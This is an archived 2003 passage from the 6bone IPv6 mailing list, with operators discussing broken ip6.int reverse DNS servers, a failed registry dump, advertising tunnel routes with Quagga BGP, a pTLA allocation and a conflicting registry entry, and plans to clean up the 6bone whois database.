> ;; SERVER: 3ffe:50e::1#53(y.ip6.int.)
> ;; WHEN: Tue Nov 11 20:35:24 2003
> ;; MSG SIZE  rcvd: 39
> 
> $ dig @munnari.oz.au. 1.1.8.e.f.f.3.ip6.int ns
> 
> ; <<>> DiG 9.2.3rc4 <<>> @munnari.oz.au. 1.1.8.e.f.f.3.ip6.int ns
> ;; global options:  printcmd
> ;; Got answer:
> ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 64635
> ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
> 
> ;; QUESTION SECTION:
> ;1.1.8.e.f.f.3.ip6.int.         IN      NS
> 
> ;; Query time: 633 msec
> ;; SERVER: 2001:388:c02:4000::1:21#53(munnari.oz.au.)
> ;; WHEN: Tue Nov 11 20:35:04 2003
> ;; MSG SIZE  rcvd: 39
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
> 
> iQA/AwUBP7E6qCmqKFIzPnwjEQIZNwCghKFOm+xgouYjBqNouVNFQZdFFvEAoIg8
> 4G0drWtEdVDS2Fd1Xt6A/oDW
> =e38W
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


-- 
George Michaelson       |  APNIC
Email: ggm@apnic.net    |  PO Box 2131 Milton QLD 4064
Phone: +61 7 3367 0490  |  Australia
  Fax: +61 7 3367 0482  |  http://www.apnic.net

From gert@Space.Net Tue Nov 11 12:26:24 2003
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From: Gert Doering <gert@space.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] munnari.oz.au & y.ip6.int broken for e.f.f.3.ip6.int / when ip6.arpa?
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Hi,

On Tue, Nov 11, 2003 at 08:38:17PM +0100, Jeroen Massar wrote:
> munnari.oz.au and y.ip6.int are broken for e.f.f.3.ip6.int
> 
> Can this be fixed soon(tm) along with the delegation of ip6.arpa ofcourse.

Good point.  Does anybody know why e.f.f.3.ip6.arpa isn't proceeding?  As
far as I remember, everything was settled half a year ago, to be delegated
"real soon now"...?

Wondering,

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57386  (57785)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tony@lava.net Tue Nov 11 12:40:30 2003
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Subject: Re: [6bone] munnari.oz.au & y.ip6.int broken for e.f.f.3.ip6.int /
 when ip6.arpa?
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On Tue, 11 Nov 2003, Jeroen Massar wrote:

> munnari.oz.au and y.ip6.int are broken for e.f.f.3.ip6.int
>
> Can this be fixed soon(tm) along with the delegation of ip6.arpa ofcourse.

You might get faster results migrating to production address space :)

From hank@att.net.il Mon Nov 17 01:02:17 2003
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Subject: [6bone] Trying to remove objects from 6bone registry
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I tried by sending the delete object to auto-dbm@whois.6bone.net - no 
response - no bounce.

Tried via web interface at:
http://eng.hexago.com/6bone/registry/index.shtml
delete requests just hang the browser as it tries for about 10 minutes.

What am I doing wrong?

Thanks,
Hank


From lalle@snaga.sics.se Mon Nov 17 07:24:46 2003
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Hi,

We are operating an automated IPv6 tunnel broker service, and use the
daily 6bone RIPE registry dump at
ftp://whois.6bone.net/6bone/6bone.db.gz to retrieve tunnel
configuration information for our delegated address spaces. Since a
few days, however, the daily full dump is an empty file, and some of
our tunnels therefore went down. One can have opinions on the decision
to rely on the database dump for our tunnels, but it has worked well
so far.

Do you think you can, with reasonable effort, mend the daily dump
script? That would be great. If it is impractical, do you have any
other suggestions on how we can automatically retrieve information on
sites/prefixes within our prefix?

While I am at it: I tried sending a mail to auto-dbm@whois.6bone.net,
and got the reply below.

/Lalle


From: Mail Delivery Subsystem <MAILER-DAEMON@mail1.nokia.net>
Subject: Returned mail: see transcript for details
To: <lalle@snaga.sics.se>
Date: Mon, 17 Nov 2003 01:39:08 -0800 (PST)

The original message was received at Mon, 17 Nov 2003 01:37:09 -0800 (PST)
from brev.sics.se [193.10.64.200]

   ----- The following addresses had permanent fatal errors -----
"|/home/auto-dbm/bin/dbupdate -M"
    (reason: 1)
    (expanded from: <auto-dbm@whois.6bone.net>)

   ----- Transcript of session follows -----
sh: cannot fork - try again
554 5.3.0 unknown mailer error 1
Reporting-MTA: dns; mail1.nokia.net
Received-From-MTA: DNS; brev.sics.se
Arrival-Date: Mon, 17 Nov 2003 01:37:09 -0800 (PST)

Final-Recipient: RFC822; auto-dbm@whois.6bone.net
X-Actual-Recipient: X-Unix; |/home/auto-dbm/bin/dbupdate -M
Action: failed
Status: 5.0.0
Diagnostic-Code: X-Unix; 1
Last-Attempt-Date: Mon, 17 Nov 2003 01:37:41 -0800 (PST)
From: Lars Albertsson <lalle@sics.se>
Subject: HELP
To: auto-dbm@whois.6bone.net
Date: 17 Nov 2003 10:37:28 +0100

----------


From david@iprg.nokia.com Mon Nov 17 11:39:47 2003
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Subject: [6bone] Re: 6bone RIPE database dump
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Lars, Bob, Hank,

The problem with the registry should have been fixed.

On Mon, Nov 17, 2003 at 04:24:35PM +0100, Lars Albertsson wrote:
> 
> We are operating an automated IPv6 tunnel broker service, and use the
> daily 6bone RIPE registry dump at
> ftp://whois.6bone.net/6bone/6bone.db.gz to retrieve tunnel
> configuration information for our delegated address spaces. Since a
> few days, however, the daily full dump is an empty file, and some of
> our tunnels therefore went down. One can have opinions on the decision
> to rely on the database dump for our tunnels, but it has worked well
> so far.

One little comment: this should be a fine strategy but a quick sanity
check before you accept the new dump is probably a good idea :-). It's
not only the registry that could fail, you could for example also end
up in a sitation where the ftp download doesn't complete sucessfully.

I recommend a sanity check that does the following: check whether the
file starts with a proper header, whether it ends with '# EOF' and
whether the size of the 'diff' between the current file and the old
file is acceptable (to you).

I want to apologize for the time it took to fix the problem. We do
have an escalation procedure but it clearly didn't work fast enough.
I'll see what I can do about that.

David K.
---

From dan@reeder.name Sun Nov 23 05:10:55 2003
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From: "Dan Reeder" <dan@reeder.name>
To: <6bone@ISI.EDU>
Date: Sun, 23 Nov 2003 23:10:58 +1000
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Subject: [6bone] quagga bgpd importing and advertising debian routes on the fly
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------=_NextPart_000_0014_01C3B217.0E321120
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi guys
Here's the plan: we're in the middle of setting up a tunnel server on a =
debian box that is also running Quagga's bgp daemon that will hopefully =
be able to automatically advertise the newly made tunnel =
interfaces/networks on to its bgp peers.=20

The problem is just how to go about doing this? The process will involve =
the http server (using perl or php) to get the new prefix, create it in =
debian [this works fine so far], then tell bgpd to include it in its =
statements.=20

We'd normally just have a supernet that covers all the tunnels that =
would be created on the box and just advertise that to the peers, but =
the requirement to use just one pool of prefixes across two tunnel pops =
doing the above functions.=20

The simple answer is to just get php to edit the bgpd.conf and restart =
bgpd every time a new tunnel interface is made - but that'd wreak havoc =
with the routing table for the rest of the users.=20

Firstly is there a way to manually get the bgpd include and advertise =
new routes on the fly without interrupting other routes, and secondly =
can this be done automatically by php/perl/some other httpd-based =
function.


thanks
Dan Reeder
------=_NextPart_000_0014_01C3B217.0E321120
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1276" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#d9d9d9>
<DIV><FONT face=3DArial size=3D2>Hi guys</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Here's the plan: we're in the middle of =
setting up=20
a tunnel server on a debian box that is also running Quagga's bgp daemon =
that=20
will hopefully be able to automatically advertise the newly made tunnel=20
interfaces/networks on to its bgp peers. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The problem is just how to go about =
doing this? The=20
process will involve the http server (using perl or php) to get the new =
prefix,=20
create it in debian [this works fine so far], then tell bgpd to include =
it in=20
its statements. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>We'd normally just have a supernet that =
covers all=20
the tunnels that would be created on the box and just advertise that to =
the=20
peers, but&nbsp;the requirement&nbsp;to use just one pool of prefixes =
across two=20
tunnel pops doing the above functions. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The simple answer is to just get php to =
edit the=20
bgpd.conf and&nbsp;restart bgpd every time a new tunnel interface is =
made - but=20
that'd wreak havoc with the routing table for the rest of the users.=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Firstly is there a way to manually get =
the bgpd=20
include and advertise new routes on the fly without interrupting other =
routes,=20
and secondly can this be done automatically by php/perl/some other =
httpd-based=20
function.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Dan Reeder</FONT></DIV></BODY></HTML>

------=_NextPart_000_0014_01C3B217.0E321120--



From haesu@mx01.bos.ma.towardex.com Sun Nov 23 09:51:59 2003
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Date: Sun, 23 Nov 2003 12:51:44 -0500
From: Haesu <haesu@towardex.com>
To: Dan Reeder <dan@reeder.name>, 6bone@ISI.EDU
Subject: Re: [6bone] quagga bgpd importing and advertising debian routes on the fly
Message-ID: <20031123175144.GA44360@scylla.towardex.com>
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Write a script that telnets into bgpd or vtysh and enter commands?
I don't suppose this is any different than writing a script that telnets into cisco routers.

-hc

-- 
Haesu C.
TowardEX Technologies, Inc.
Consulting, colocation, web hosting, network design and implementation
http://www.towardex.com | haesu@towardex.com
Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
Fax: (978)263-0033      | POC: HAESU-ARIN

On Sun, Nov 23, 2003 at 11:10:58PM +1000, Dan Reeder wrote:
> Hi guys
> Here's the plan: we're in the middle of setting up a tunnel server on a debian box that is also running Quagga's bgp daemon that will hopefully be able to automatically advertise the newly made tunnel interfaces/networks on to its bgp peers. 
> 
> The problem is just how to go about doing this? The process will involve the http server (using perl or php) to get the new prefix, create it in debian [this works fine so far], then tell bgpd to include it in its statements. 
> 
> We'd normally just have a supernet that covers all the tunnels that would be created on the box and just advertise that to the peers, but the requirement to use just one pool of prefixes across two tunnel pops doing the above functions. 
> 
> The simple answer is to just get php to edit the bgpd.conf and restart bgpd every time a new tunnel interface is made - but that'd wreak havoc with the routing table for the rest of the users. 
> 
> Firstly is there a way to manually get the bgpd include and advertise new routes on the fly without interrupting other routes, and secondly can this be done automatically by php/perl/some other httpd-based function.
> 
> 
> thanks
> Dan Reeder

From tvo@EnterZone.Net Sun Nov 23 10:29:35 2003
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Date: Sun, 23 Nov 2003 13:29:16 -0500 (EST)
From: John Fraizer <tvo@EnterZone.Net>
To: Haesu <haesu@towardex.com>
cc: Dan Reeder <dan@reeder.name>, 6bone@ISI.EDU
Subject: Re: [6bone] quagga bgpd importing and advertising debian routes on
 the fly
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Um, there are a number of ways to achieve your goal but I wonder why you
want these long prefixes in BGP at all?  Run an *IGP* in your network and
carry "connected" routes into IGP.  BGP == *BORDER* Gateway Protocol.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |


On Sun, 23 Nov 2003, Haesu wrote:

> Write a script that telnets into bgpd or vtysh and enter commands?
> I don't suppose this is any different than writing a script that telnets into cisco routers.
> 
> -hc
> 
> -- 
> Haesu C.
> TowardEX Technologies, Inc.
> Consulting, colocation, web hosting, network design and implementation
> http://www.towardex.com | haesu@towardex.com
> Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
> Fax: (978)263-0033      | POC: HAESU-ARIN
> 
> On Sun, Nov 23, 2003 at 11:10:58PM +1000, Dan Reeder wrote:
> > Hi guys
> > Here's the plan: we're in the middle of setting up a tunnel server on a debian box that is also running Quagga's bgp daemon that will hopefully be able to automatically advertise the newly made tunnel interfaces/networks on to its bgp peers. 
> > 
> > The problem is just how to go about doing this? The process will involve the http server (using perl or php) to get the new prefix, create it in debian [this works fine so far], then tell bgpd to include it in its statements. 
> > 
> > We'd normally just have a supernet that covers all the tunnels that would be created on the box and just advertise that to the peers, but the requirement to use just one pool of prefixes across two tunnel pops doing the above functions. 
> > 
> > The simple answer is to just get php to edit the bgpd.conf and restart bgpd every time a new tunnel interface is made - but that'd wreak havoc with the routing table for the rest of the users. 
> > 
> > Firstly is there a way to manually get the bgpd include and advertise new routes on the fly without interrupting other routes, and secondly can this be done automatically by php/perl/some other httpd-based function.
> > 
> > 
> > thanks
> > Dan Reeder
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From jesper@skriver.dk Sun Nov 23 10:53:06 2003
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On Sun, Nov 23, 2003 at 01:29:16PM -0500, John Fraizer wrote:
> 
> Um, there are a number of ways to achieve your goal but I wonder why you
> want these long prefixes in BGP at all?  Run an *IGP* in your network and
> carry "connected" routes into IGP.  BGP == *BORDER* Gateway Protocol.

It's never a good idea to carry "customer" routes in your IGP, you want
your IGP to be stable, so in a sound design it's only used to carry
loopback addresses, which are used for BGP next-hop, and everything else
is carried in (internal) BGP. If it's a more specific route that should
not be advertised outside the AS, then mark it with no-export.

/Jesper

From bob@thefinks.com Mon Nov 24 15:12:13 2003
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To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
Cc: 6bone reverse DNS registration <hostmaster@ep.net>,
   Karolyi Reka <mithos@t-net.hu>
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Subject: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET
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T-NET has been allocated pTLA 3FFE:401C::/32 having finished its review period.

   <http://whois.6bone.net/cgi-bin/whois?T-NET>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration in e.f.f.3.ip6.int for pTLAs, please 
send the prefix allocated above, and a list of at least two authoritative 
nameservers, to hostmaster@ep.net.]

[Note: The effort to startup e.f.f.3.ip6.arpa is well underway with the 
draft 
http://www.ietf.org/internet-drafts/draft-ymbk-6bone-arpa-delegation-01.txt 
now approved by the IETF/IESG as a BCP RFC. We are in the process of 
getting IANA to do the actual delegation to the 6bone ip6.arpa servers. 
There will be an announcement of progress soon.]


This may be the last 6bone pTLA allocation made as the phaseout plan 
specifies no new pTLA allocations after the end of this year. Thus if 
anyone is expecting to request a pTLA, the request must be sent to me no 
later than 5 December to allow enough review and approval time prior to 31 
December.


Thanks,

Bob 


From jeroen@unfix.org Mon Nov 24 16:56:47 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
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Subject: RE: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET
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-----BEGIN PGP SIGNED MESSAGE-----

Bob Fink wrote:

> T-NET has been allocated pTLA 3FFE:401C::/32 having finished 
> its review period.

Inserted into http://www.sixxs.net/tools/grh/tla/6bone/

8<---------------------------------------------------
The database currently holds 143 IPv6 TLA's.
Of which 16 (11.19%) are returned to the pool,
16 (11.19%) IPv6 TLA's didn't have a routing entry.
Thus 111 (77.62%) networks are currently announced.
- --------------------------------------------------->8

<grin> Polution and Hijacking was already done :)

inet6num:     3FFE:401C::/32
netname:      slaqware
descr:        slaqware.net test network
country:      SE
admin-c:      JFA1-6BONE
tech-c:       JFA1-6BONE
mnt-by:       JFA1-6BONE
changed:      general.snus@home.se 20030712
source:       6BONE

person:       John Fredriksson Ahl
address:      Garvaregatan 6
phone:        +46702664258
nic-hdl:      JFA1-6BONE
mnt-by:       JFA1-6BONE
changed:      general.snus@home.se 20030712
source:       6BONE

If wanted, I could do some cleaning in the 6bone database.
The plan for doing it and the tools are near-ready.
If this is wanted, please give a notice and I'll start working on it.
Would be a good thing to have a clean 6bone database, which then at
least would show people that it is being looked after.

> [Note: The effort to startup e.f.f.3.ip6.arpa is well underway with the draft 
> http://www.ietf.org/internet-drafts/draft-ymbk-6bone-arpa-delegation-01.txt 
> now approved by the IETF/IESG as a BCP RFC. We are in the process of 
> getting IANA to do the actual delegation to the 6bone ip6.arpa servers. 
> There will be an announcement of progress soon.]

That is great news to hear. Will munnari and y be fixed any time soon too?

dig @munnari.oz.au e.f.f.3.ip6.int soa

; <<>> DiG 9.2.3rc4 <<>> @munnari.oz.au e.f.f.3.ip6.int soa
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 35050
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;e.f.f.3.ip6.int.               IN      SOA

;; Query time: 658 msec
;; SERVER: 2001:388:c02:4000::1:21#53(munnari.oz.au)
;; WHEN: Tue Nov 25 01:53:34 2003
;; MSG SIZE  rcvd: 33

Same for both the IPv4 addresses (128.250.22.2 + 128.250.1.21)

y.ip6.int isn't reachable from this side of the world:

traceroute to y.ip6.int (3ffe:50e::1) from 2001:838:1:1:210:dcff:fe20:7c7c, 30 hops max, 16 byte packets
 1  fe0.breda.ipv6.concepts-ict.net (2001:838:1:1::1)  0.582 ms  0.47 ms  0.292 ms
 2  se2.ams-ix.ipv6.concepts-ict.net (2001:838:0:10::1)  4.1 ms  5.647 ms  3.286 ms
 3  ams-ix.sara.xs4all.net (2001:7f8:1::a500:3265:1)  4.61 ms  4.172 ms  4.26 ms
 4  eth10-0-0.xr1.ams1.gblx.net (2001:7f8:1::a500:3549:1)  6.03 ms  9.822 ms  5.742 ms
 5  2001:450:1:1::1e (2001:450:1:1::1e)  265.618 ms  278.561 ms  272.412 ms
 6  2001:450:1:1::1e (2001:450:1:1::1e)  276.038 ms !H  271.19 ms !H  292.15 ms !H

Greets,
 Jeroen

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From bob@thefinks.com Mon Nov 24 18:45:15 2003
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From: Bob Fink <bob@thefinks.com>
Subject: RE: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET
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Jeroen,

Thanks for the info.

I'll get onto this John Fredriksson about his hijacking.

As for cleaning up the 6bone db at this late date (in the life of the 6bone 
that is), you should ask David Kessens to see what he thinks.

As for the reverse registry for e.f.f.3.ip6.arpa, Marc Blanchet and Hexago 
are ready to go but we await the servers being officially listed.


Thanks again,

Bob

===
At 01:56 AM 11/25/2003 +0100, Jeroen Massar wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Bob Fink wrote:
>
> > T-NET has been allocated pTLA 3FFE:401C::/32 having finished
> > its review period.
>
>Inserted into http://www.sixxs.net/tools/grh/tla/6bone/
>
>8<---------------------------------------------------
>The database currently holds 143 IPv6 TLA's.
>Of which 16 (11.19%) are returned to the pool,
>16 (11.19%) IPv6 TLA's didn't have a routing entry.
>Thus 111 (77.62%) networks are currently announced.
>- --------------------------------------------------->8
>
><grin> Polution and Hijacking was already done :)
>
>inet6num:     3FFE:401C::/32
>netname:      slaqware
>descr:        slaqware.net test network
>country:      SE
>admin-c:      JFA1-6BONE
>tech-c:       JFA1-6BONE
>mnt-by:       JFA1-6BONE
>changed:      general.snus@home.se 20030712
>source:       6BONE
>
>person:       John Fredriksson Ahl
>address:      Garvaregatan 6
>phone:        +46702664258
>nic-hdl:      JFA1-6BONE
>mnt-by:       JFA1-6BONE
>changed:      general.snus@home.se 20030712
>source:       6BONE
>
>If wanted, I could do some cleaning in the 6bone database.
>The plan for doing it and the tools are near-ready.
>If this is wanted, please give a notice and I'll start working on it.
>Would be a good thing to have a clean 6bone database, which then at
>least would show people that it is being looked after.
>
> > [Note: The effort to startup e.f.f.3.ip6.arpa is well underway with the 
> draft
> > 
> http://www.ietf.org/internet-drafts/draft-ymbk-6bone-arpa-delegation-01.txt
> > now approved by the IETF/IESG as a BCP RFC. We are in the process of
> > getting IANA to do the actual delegation to the 6bone ip6.arpa servers.
> > There will be an announcement of progress soon.]
>
>That is great news to hear. Will munnari and y be fixed any time soon too?
>
>dig @munnari.oz.au e.f.f.3.ip6.int soa
>
>; <<>> DiG 9.2.3rc4 <<>> @munnari.oz.au e.f.f.3.ip6.int soa
>;; global options:  printcmd
>;; Got answer:
>;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 35050
>;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
>
>;; QUESTION SECTION:
>;e.f.f.3.ip6.int.               IN      SOA
>
>;; Query time: 658 msec
>;; SERVER: 2001:388:c02:4000::1:21#53(munnari.oz.au)
>;; WHEN: Tue Nov 25 01:53:34 2003
>;; MSG SIZE  rcvd: 33
>
>Same for both the IPv4 addresses (128.250.22.2 + 128.250.1.21)
>
>y.ip6.int isn't reachable from this side of the world:
>
>traceroute to y.ip6.int (3ffe:50e::1) from 
>2001:838:1:1:210:dcff:fe20:7c7c, 30 hops max, 16 byte packets
>  1  fe0.breda.ipv6.concepts-ict.net (2001:838:1:1::1)  0.582 ms  0.47 
> ms  0.292 ms
>  2  se2.ams-ix.ipv6.concepts-ict.net (2001:838:0:10::1)  4.1 ms  5.647 
> ms  3.286 ms
>  3  ams-ix.sara.xs4all.net (2001:7f8:1::a500:3265:1)  4.61 ms  4.172 
> ms  4.26 ms
>  4  eth10-0-0.xr1.ams1.gblx.net (2001:7f8:1::a500:3549:1)  6.03 ms  9.822 
> ms  5.742 ms
>  5  2001:450:1:1::1e (2001:450:1:1::1e)  265.618 ms  278.561 ms  272.412 ms
>  6  2001:450:1:1::1e (2001:450:1:1::1e)  276.038 ms !H  271.19 ms 
> !H  292.15 ms !H
>
>Greets,
>  Jeroen
>
>-----BEGIN PGP SIGNATURE-----
>Version: Unfix PGP for Outlook Alpha 13 Int.
>Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
>
>iQA/AwUBP8KorymqKFIzPnwjEQJ8mACfeQWFsMIoe8k+XjH69/+n2LJyIEgAn2xF
>VB6ikMsiLM7oOfw69BFeKfmo
>=b+/I
>-----END PGP SIGNATURE-----


From pim@ipng.nl Tue Nov 25 00:13:10 2003
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Hi Jeroen,

| If wanted, I could do some cleaning in the 6bone database.
| The plan for doing it and the tools are near-ready.
| If this is wanted, please give a notice and I'll start working on it.
| Would be a good thing to have a clean 6bone database, which then at
| least would show people that it is being looked after.
I have always supported this initiative. We may be able to gain valuable
expertise and detect operational pitfalls if we clean up 'a whois
database'. Perhaps your work can be used to help clean up RIPE/ARIN
databases too at some point in time.

If you have any methodology you'd like to share with the list, please go
ahead. Or, simply copy the database, clean it up privately and present a 
diff to the list.

I agree that the database is being neglected by many folks. Perhaps we
can reinstate some basic sanity....

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From todd@shadow.fries.net Tue Nov 25 06:08:25 2003
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Date: Tue, 25 Nov 2003 08:03:23 -0600
From: "Todd T. Fries" <todd@fries.net>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET
Message-ID: <20031125140323.GA5085@fries.net>
Reply-To: todd@fries.net
References: <5.2.0.9.0.20031124134150.02a27d70@mail.addr.com> <002601c3b2ee$f467cdb0$210d640a@unfix.org> <20031125081306.GB8639@bfib.colo.bit.nl>
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I apologze for going to the list on this, but my information is woefully
out of date.

Only my email address should remain correct .. and at that it may be
toddf@acm.org instead of todd@fries.net...

Do you have pointers/a short faq on those of us who input data years ago,
and have no starting point as to where to gather a cluebit to do our part?

Hopefully the answer will help out more than just me.

Thanks,
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    VOIP: 1.636.410.0632
http://FreeDaemonConsulting.com                Land: 1.405.810.2918
"..in support of free software solutions."   Mobile: 1.405.203.6124

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

Penned by Pim van Pelt on Tue, Nov 25, 2003 at 09:13:06AM +0100, we have:
| Hi Jeroen,
| 
| | If wanted, I could do some cleaning in the 6bone database.
| | The plan for doing it and the tools are near-ready.
| | If this is wanted, please give a notice and I'll start working on it.
| | Would be a good thing to have a clean 6bone database, which then at
| | least would show people that it is being looked after.
| I have always supported this initiative. We may be able to gain valuable
| expertise and detect operational pitfalls if we clean up 'a whois
| database'. Perhaps your work can be used to help clean up RIPE/ARIN
| databases too at some point in time.
| 
| If you have any methodology you'd like to share with the list, please go
| ahead. Or, simply copy the database, clean it up privately and present a 
| diff to the list.
| 
| I agree that the database is being neglected by many folks. Perhaps we
| can reinstate some basic sanity....
| 
| -- 
| ---------- - -    - - -+- - -    - - ----------
| Pim van Pelt                 Email: pim@ipng.nl
| http://www.ipng.nl/             IPv6 Deployment
| -----------------------------------------------
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From todd@shadow.fries.net Tue Nov 25 06:19:19 2003
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Date: Tue, 25 Nov 2003 08:14:07 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Gert Doering <gert@space.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
Message-ID: <20031125141407.GB5085@fries.net>
Reply-To: todd@fries.net
References: <008201c39a7b$e91fb4d0$210d640a@unfix.org> <Pine.LNX.4.52.0310250117520.27502@login1.ssc.net> <0a2b01c39aec$e4f3d410$9402a8c0@consulintel.es> <003901c39b02$15602c10$0200a8c0@dryad> <20031103142846.GD30954@Space.Net>
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With IPN, and its reference implementation at scps.org, IP proto 105, ..
IP has no issues with solar distances.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    VOIP: 1.636.410.0632
http://FreeDaemonConsulting.com                Land: 1.405.810.2918
"..in support of free software solutions."   Mobile: 1.405.203.6124

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

Penned by Gert Doering on Mon, Nov 03, 2003 at 03:28:46PM +0100, we have:
[..]
| IP is not particularily well suited for solar distances anyway.
| 
| Gert Doering
|         -- NetMaster

From jeroen@unfix.org Tue Nov 25 07:23:51 2003
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To: <todd@fries.net>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Updating objects in the 6bone database (Was: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET)
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-----BEGIN PGP SIGNED MESSAGE-----

Todd T. Fries wrote:

> I apologze for going to the list on this, but my information 
> is woefully out of date.
> 
> Only my email address should remain correct .. and at that it may be
> toddf@acm.org instead of todd@fries.net...
> 
> Do you have pointers/a short faq on those of us who input 
> data years ago,
> and have no starting point as to where to gather a cluebit to 
> do our part?

Wellps, it is the 6bone registry and thus it is documented at:
http://www.6bone.net which has a link to http://whois.6bone.net
containing all the information.

I personally prefer the mail interface.
But Viagenie (now Hexago) have a Webinterface at:
http://eng.hexago.com/6bone/registry/

And otherwise, just scream and shout here with the details and
there will be someone to help you out.

Greets,
 Jeroen

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From tjc@ecs.soton.ac.uk Tue Nov 25 07:35:53 2003
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Date: Tue, 25 Nov 2003 15:35:45 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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References: <008201c39a7b$e91fb4d0$210d640a@unfix.org> <Pine.LNX.4.52.0310250117520.27502@login1.ssc.net> <0a2b01c39aec$e4f3d410$9402a8c0@consulintel.es> <003901c39b02$15602c10$0200a8c0@dryad> <20031103142846.GD30954@Space.Net> <20031125141407.GB5085@fries.net>
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Vint Cerf has been making some nice presentations on this topic, e.g.:
http://www.nordunet2003.is/programme.php
(first talk listed)

Tim

On Tue, Nov 25, 2003 at 08:14:07AM -0600, Todd T. Fries wrote:
> With IPN, and its reference implementation at scps.org, IP proto 105, ..
> IP has no issues with solar distances.
> -- 
> Todd Fries .. todd@fries.net
> 
> 
> Free Daemon Consulting, LLC                    VOIP: 1.636.410.0632
> http://FreeDaemonConsulting.com                Land: 1.405.810.2918
> "..in support of free software solutions."   Mobile: 1.405.203.6124
> 
> Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
>             Key: http://todd.fries.net/pgp.txt
> 
> Penned by Gert Doering on Mon, Nov 03, 2003 at 03:28:46PM +0100, we have:
> [..]
> | IP is not particularily well suited for solar distances anyway.
> | 
> | Gert Doering
> |         -- NetMaster
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From jeroen@unfix.org Tue Nov 25 08:30:56 2003
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To: "'Pim van Pelt'" <pim@ipng.nl>
Cc: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET
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-----BEGIN PGP SIGNED MESSAGE-----

Pim van Pelt [mailto:pim@ipng.nl] wrote:

> Hi Jeroen,
> 
> | If wanted, I could do some cleaning in the 6bone database.
> | The plan for doing it and the tools are near-ready.
> | If this is wanted, please give a notice and I'll start working on it.
> | Would be a good thing to have a clean 6bone database, which then at
